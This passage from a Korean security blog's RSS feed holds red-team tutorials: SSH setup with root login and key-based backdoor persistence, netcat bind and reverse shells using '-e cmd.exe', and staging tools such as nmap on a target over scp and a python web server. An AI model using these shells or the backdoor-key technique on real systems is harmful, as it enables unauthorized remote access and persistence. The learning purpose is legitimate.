&lt;pre id=&quot;code_1717993328163&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;user@user-None:~$ sudo service ssh start
user@user-None:~$ service ssh status
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/lib/systemd/system/ssh.service; disabled; preset: enabled)
    Drop-In: /etc/systemd/system/ssh.service.d
             └─00-socket.conf
     Active: active (running) since Mon 2024-06-10 10:09:03 KST; 4s ago
TriggeredBy: ● ssh.socket
       Docs: man:sshd(8)
             man:sshd_config(5)
    Process: 3807 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
   Main PID: 3808 (sshd)
      Tasks: 1 (limit: 19063)
     Memory: 1.4M
        CPU: 31ms
     CGroup: /system.slice/ssh.service
             └─3808 &quot;sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups&quot;

Jun 10 10:09:03 user-None systemd[1]: Starting ssh.service - OpenBSD Secure She&amp;gt;
Jun 10 10:09:03 user-None sshd[3808]: Server listening on :: port 22.
Jun 10 10:09:03 user-None systemd[1]: Started ssh.service - OpenBSD Secure Shel&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;SSH 설정 파일&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 1: /etc/ssh/sshd_config&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 2: /lib/systemd/system/ssh.socket&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일부 옵션을 정리해봤다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;PermitRootLogin&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;root 계정 로그인 허용 여부는 PermitRootLogin 옵션을 변경해주면 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1717996042344&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;PermitRootLogin yes

# 옵션 정보
prohibit-password: Key 파일을 통해 로그인이 가능. (비밀번호 로그인은 안됨)
yes : root 계정 비밀번호 입력 로그인 가능
no : root 계정 로그인 불가능&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. Port 변경&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Port 변경은 Port 옵션을 변경해주면 되는데 Ubuntu 22.10 부터는 /sshd_config 파일이 아닌 /lib/systemd/system/ssh.socket 파일을 수정해야 된다. (ssh.socket의 ListenStream 옵션을 수정해주면 된다.)&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt; /etc/ssh/sshd_config &lt;/span&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1717996182939&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Port 22&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;/lib/systemd/system/ssh.socket&lt;/h4&gt;
&lt;pre id=&quot;code_1717996917919&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ListenStream=3237&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1717997289981&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;user@user-None:~$ sudo systemctl daemon-reload
user@user-None:~$ sudo systemctl restart ssh.socket
user@user-None:~$ systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/lib/systemd/system/ssh.service; disabled; preset: enabled)
    Drop-In: /etc/systemd/system/ssh.service.d
             └─00-socket.conf
     Active: active (running) since Mon 2024-06-10 14:18:15 KST; 11s ago
TriggeredBy: ● ssh.socket
       Docs: man:sshd(8)
             man:sshd_config(5)
    Process: 13810 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
   Main PID: 13811 (sshd)
      Tasks: 1 (limit: 19063)
     Memory: 1.4M
        CPU: 23ms
     CGroup: /system.slice/ssh.service
             └─13811 &quot;sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups&quot;

Jun 10 14:18:15 user-None systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...
Jun 10 14:18:15 user-None sshd[13811]: Server listening on :: port 3237.
Jun 10 14:18:15 user-None systemd[1]: Started ssh.service - OpenBSD Secure Shell server.
user@user-None:~$ sudo netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
---- 중략 ----
tcp6       0      0 :::3237                 :::*                    LISTEN      1/systemd&lt;/code&gt;&lt;/pre&gt;
&lt;h3 style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;3. SSH 공개키 자동 로그인&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;공개키를 이용한 로그인을 허용하려면 아래 내용을 주석 해제한다.&lt;/p&gt;
&lt;pre id=&quot;code_1717997375364&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile     .ssh/authorized_keys&lt;/code&gt;&lt;/pre&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;서버 연결 방법&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;일반적인 연결&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;user 계정으로 연결하는 방법은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포트를 기본 포트에서 3237로 변경했기 때문에 포트도 함께 지정한다.&lt;/p&gt;
&lt;pre id=&quot;code_1717997515991&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;user@DESKTOP-HBLKCUU:~$ ssh user@192.168.111.129
ssh: connect to host 192.168.111.129 port 22: Connection refused
user@DESKTOP-HBLKCUU:~$ ssh user@192.168.111.129 -p 3237
user@192.168.111.129's password:
Welcome to Ubuntu 23.10 (GNU/Linux 6.5.0-28-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

44 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

New release '24.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

*** System restart required ***
Last login: Mon Jun 10 14:15:39 2024 from 192.168.111.1
user@user-None:~$ whoami
user
user@user-None:~$ pwd
/home/user&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;root 계정으로 연결하는 방법은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;root 계정 접속도 허용했으므로 테스트 해본다.&lt;/p&gt;
&lt;pre id=&quot;code_1717997596366&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;user@DESKTOP-HBLKCUU:~$ ssh root@192.168.111.129 -p 3237
root@192.168.111.129's password:
Welcome to Ubuntu 23.10 (GNU/Linux 6.5.0-28-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

44 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

New release '24.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

*** System restart required ***
Last login: Mon Jun 10 10:10:42 2024 from 192.168.111.1
root@user-None:~# whoami
root
root@user-None:~# pwd
/root&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;key(public, private) 를 이용한 연결&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ssh 는 클라이언트 검증 과정에서 비대칭키 방식을 이용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 혹은 클라이언트에서 발급한 공개키와 개인키를 이용하면 비밀번호 입력 없이(비밀번호 설정 가능) 접속할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레드 티밍을 진행할 때 공격 대상이 비밀번호를 바꿨을 경우에도 접속이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 key 파일을 백도어로 활용하여 persistence를 유지할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;키 생성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;키 생성시 따로 암호를 입력하지 않았기 때문에 ssh로 접속할 때 암호를 묻지 않게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1. 클라이언트에서 키 생성&lt;/p&gt;
&lt;pre id=&quot;code_1718003555587&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;user@user-None:~/.ssh$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/user/.ssh/id_rsa): ^C
user@user-None:~/.ssh$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/user/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/user/.ssh/id_rsa
Your public key has been saved in /home/user/.ssh/id_rsa.pub

user@user-None:~/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub  known_hosts  known_hosts.old&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 공개키를 서버에 등록한다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1718004059894&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;user@user-None:~/.ssh$ cat &amp;gt;&amp;gt; authorized_keys
공개키 입력
Ctrl + D (저장)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 접속해보면 비밀번호 입력 없이 바로 접속할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1718004166899&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;user@DESKTOP-HBLKCUU:~/.ssh$ ssh -i id_rsa user@192.168.111.129 -p 3237
Welcome to Ubuntu 23.10 (GNU/Linux 6.5.0-28-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

44 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

New release '24.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

*** System restart required ***
Last login: Mon Jun 10 14:31:30 2024 from 192.168.111.1
user@user-None:~$ whoami
user
user@user-None:~$ pwd
/home/user&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2. 서버에서 키 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 본인의 공개키를 등록한다.&lt;/p&gt;
&lt;pre id=&quot;code_1718004248997&quot; class=&quot;pgsql&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;shell&quot;&gt;&lt;code&gt;user@user-None:~/.ssh$ cat &amp;gt;&amp;gt; authorized_keys
공개키 입력
Ctrl + D (저장)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버의 개인키를 복사한 후 클라이언트에 복사한다.&lt;/p&gt;
&lt;pre id=&quot;code_1718004359128&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;user@DESKTOP-HBLKCUU:~/.ssh$ cat &amp;gt;&amp;gt; server_private
개인키 입력
Ctrl + D (저장)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 이런 오류가 출력될 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1718004613315&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;user@DESKTOP-HBLKCUU:~/.ssh$ ssh -i server_private user@192.168.111.129 -p 3237
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'server_private' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key &quot;server_private&quot;: bad permissions
user@192.168.111.129's password:&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해결 방법은 클라이언트에 생성한 비밀키 파일의 권한을 600으로 변경시켜주면 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1718004742893&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;user@DESKTOP-HBLKCUU:~/.ssh$ chmod 600 server_private
user@DESKTOP-HBLKCUU:~/.ssh$ ssh -i server_private user@192.168.111.129 -p 3237
Welcome to Ubuntu 23.10 (GNU/Linux 6.5.0-28-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

44 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

New release '24.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

*** System restart required ***
Last login: Mon Jun 10 16:22:09 2024 from 192.168.111.1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 만약 백도어 용도로 키를 생성한다면 클라이언트에서 생성한 공개키를 서버로 전송하는 것 보단, 서버에서 생성한 비밀키를 클라이언트에게 보내는 방법이 더 좋지 않을까 생각된다.&lt;/p&gt;</description>
      <category>분야/미정</category>
      <author>오리꽥이로</author>
      <guid isPermaLink="true">https://roklcw.tistory.com/102</guid>
      <comments>https://roklcw.tistory.com/102#entry102comment</comments>
      <pubDate>Fri, 7 Jun 2024 16:25:21 +0900</pubDate>
    </item>
    <item>
      <title>Bind Shell &amp;amp; Reverse Shell</title>
      <link>https://roklcw.tistory.com/94</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. Bind Shell&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버(접속 대상)가 포트를 열면 클라이언트(접속자)가 접속하여 쉘을 여는 방법.&lt;br /&gt;Bind Shell 을 여는 방법은 다음과 같다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;서버 (접속 대상)&lt;/h3&gt;
&lt;pre class=&quot;shell&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;shell&quot;&gt;&lt;code&gt;C:\Users\user\Downloads&amp;gt;nc64.exe -lp 31337 -e cmd.exe

옵션
-l: listen 모드로 포트를 열어줌.
-p: 포트 지정.
-v: verbosity 증가, 더 많은 정보를 보여줌.
-e: 접속 후 실행될 명령어 지정.&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;클라이언트 (접속자)&lt;/h3&gt;
&lt;pre class=&quot;shell&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;shell&quot;&gt;&lt;code&gt;C:\Users\user\Downloads&amp;gt;nc64.exe 127.0.0.1 31337
Microsoft Windows [Version 10.0.19045.4412]
(c) Microsoft Corporation. All rights reserved.

C:\Users\user\Downloads&amp;gt;dir
dir
 C 드라이브의 볼륨에는 이름이 없습니다.
 볼륨 일련 번호: 7207-E651

 C:\Users\user\Downloads 디렉터리

2024-05-30&amp;nbsp;&amp;nbsp;오전 12:21&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;DIR&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.
2024-05-30&amp;nbsp;&amp;nbsp;오전 12:21&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;DIR&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;..
2024-05-29&amp;nbsp;&amp;nbsp;오후 11:39&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;45,272 nc64.exe
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1개 파일&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;45,272 바이트
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2개 디렉터리&amp;nbsp;&amp;nbsp;38,869,729,280 바이트 남음&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. Reverse Shell&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트(접속자)가 포트를 열면 서버(접속 대상)가 접속하여 쉘을 여는 방법으로 서버와 클라이언트의 역할이 바뀐다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;레드티밍을 진행하며 Reverse Shell을 사용하는 이유는 방화벽 때문이다.&lt;br /&gt;방화벽은 필요한(지정된) 접속을 제외한 외부에서 내부로 들어오는 접속을 허용하지 않는다.&lt;br /&gt;하지만 내부에서 외부로의 접속은 허용하는 경우가 많기 때문에 리버스 쉘을 열어서 서버에 접속 및 공격을 진행할 수 있다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;Reverse Shell 을 여는 방법은 다음과 같다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;서버 (접속 대상)&lt;/h3&gt;
&lt;pre class=&quot;shell&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;shell&quot;&gt;&lt;code&gt;C:\Users\user\Downloads&amp;gt;nc64.exe 127.0.0.1 31337 -e cmd.exe

옵션
-l: listen 모드로 포트를 열어줌.
-p: 포트 지정.
-v: verbosity 증가, 더 많은 정보를 보여줌.
-e: 접속 후 실행될 명령어 지정.&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;클라이언트 (접속자)&lt;/h3&gt;
&lt;pre class=&quot;shell&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;shell&quot;&gt;&lt;code&gt;C:\Users\user\Downloads&amp;gt;nc64.exe -lp 31337
Microsoft Windows [Version 10.0.19045.4412]
(c) Microsoft Corporation. All rights reserved.

C:\Users\user\Downloads&amp;gt;dir
dir
 C 드라이브의 볼륨에는 이름이 없습니다.
 볼륨 일련 번호: 7207-E651

 C:\Users\user\Downloads 디렉터리

2024-05-30&amp;nbsp;&amp;nbsp;오전 12:21&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;DIR&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.
2024-05-30&amp;nbsp;&amp;nbsp;오전 12:21&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;DIR&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;..
2024-05-29&amp;nbsp;&amp;nbsp;오후 11:39&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;45,272 nc64.exe
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1개 파일&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;45,272 바이트
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2개 디렉터리&amp;nbsp;&amp;nbsp;38,870,716,416 바이트 남음&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 정리&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;공격 대상(접속 대상)에서 명령어를 실행시켜야 하므로 접속 후 실행될 명령어 (e 옵션) 은 공격 대상 (접속 대상) 서버에 줘야한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1592&quot; data-origin-height=&quot;842&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RwnI8/btsHGik0muU/1KUXnZoiU1MArg3js5v2Rk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RwnI8/btsHGik0muU/1KUXnZoiU1MArg3js5v2Rk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RwnI8/btsHGik0muU/1KUXnZoiU1MArg3js5v2Rk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRwnI8%2FbtsHGik0muU%2F1KUXnZoiU1MArg3js5v2Rk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1592&quot; height=&quot;842&quot; data-origin-width=&quot;1592&quot; data-origin-height=&quot;842&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>분야/미정</category>
      <author>오리꽥이로</author>
      <guid isPermaLink="true">https://roklcw.tistory.com/94</guid>
      <comments>https://roklcw.tistory.com/94#entry94comment</comments>
      <pubDate>Thu, 30 May 2024 00:44:50 +0900</pubDate>
    </item>
    <item>
      <title>원격지에서 파일 옮기는 방법</title>
      <link>https://roklcw.tistory.com/93</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;공격 대상 서버에 파일을 옮기는 방법에 대해 작성해봤다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;I. SCP (Secure Copy)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원격지에 있는 파일을 전송하거나 가져올때 사용하는 파일 전송 프로토콜.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;원격지&lt;/h4&gt;
&lt;pre id=&quot;code_1716947374658&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;scp &amp;lt;전송할 파일경로&amp;gt; &amp;lt;계정&amp;gt;@&amp;lt;주소&amp;gt;:&amp;lt;파일/디렉토리 경로&amp;gt;

예시
scp ./nmap root@10.10.110.100:/tmp

옵션
-P : 포트번호를 지정함
-p : 원본파일 수정/사용시간 및 권한을 유지함
-r : 하위 디렉토리 및 파일 모두 복사함&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;II. 웹 서버 열기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파이썬3의 http.server 모듈을 이용해서 서버를 연 후 wget을 이용해서 파일을 다운로드 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1716948093261&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;원격지 명령어 (파일이 있는 디렉토리에서 실행해야 됨)
python3 -m http.server 8000

옵션
-m: 특정 모듈을 스크립트처럼 실행시키도록 해줌.&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1716948253468&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;대상 서버 명령어
wget http://10.10.14.2:8000/nmap&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>분야/미정</category>
      <author>오리꽥이로</author>
      <guid isPermaLink="true">https://roklcw.tistory.com/93</guid>
      <comments>https://roklcw.tistory.com/93#entry93comment</comments>
      <pubDate>Wed, 29 May 2024 11:04:50 +0900</pubDate>
    </item>
  </channel>
</rss>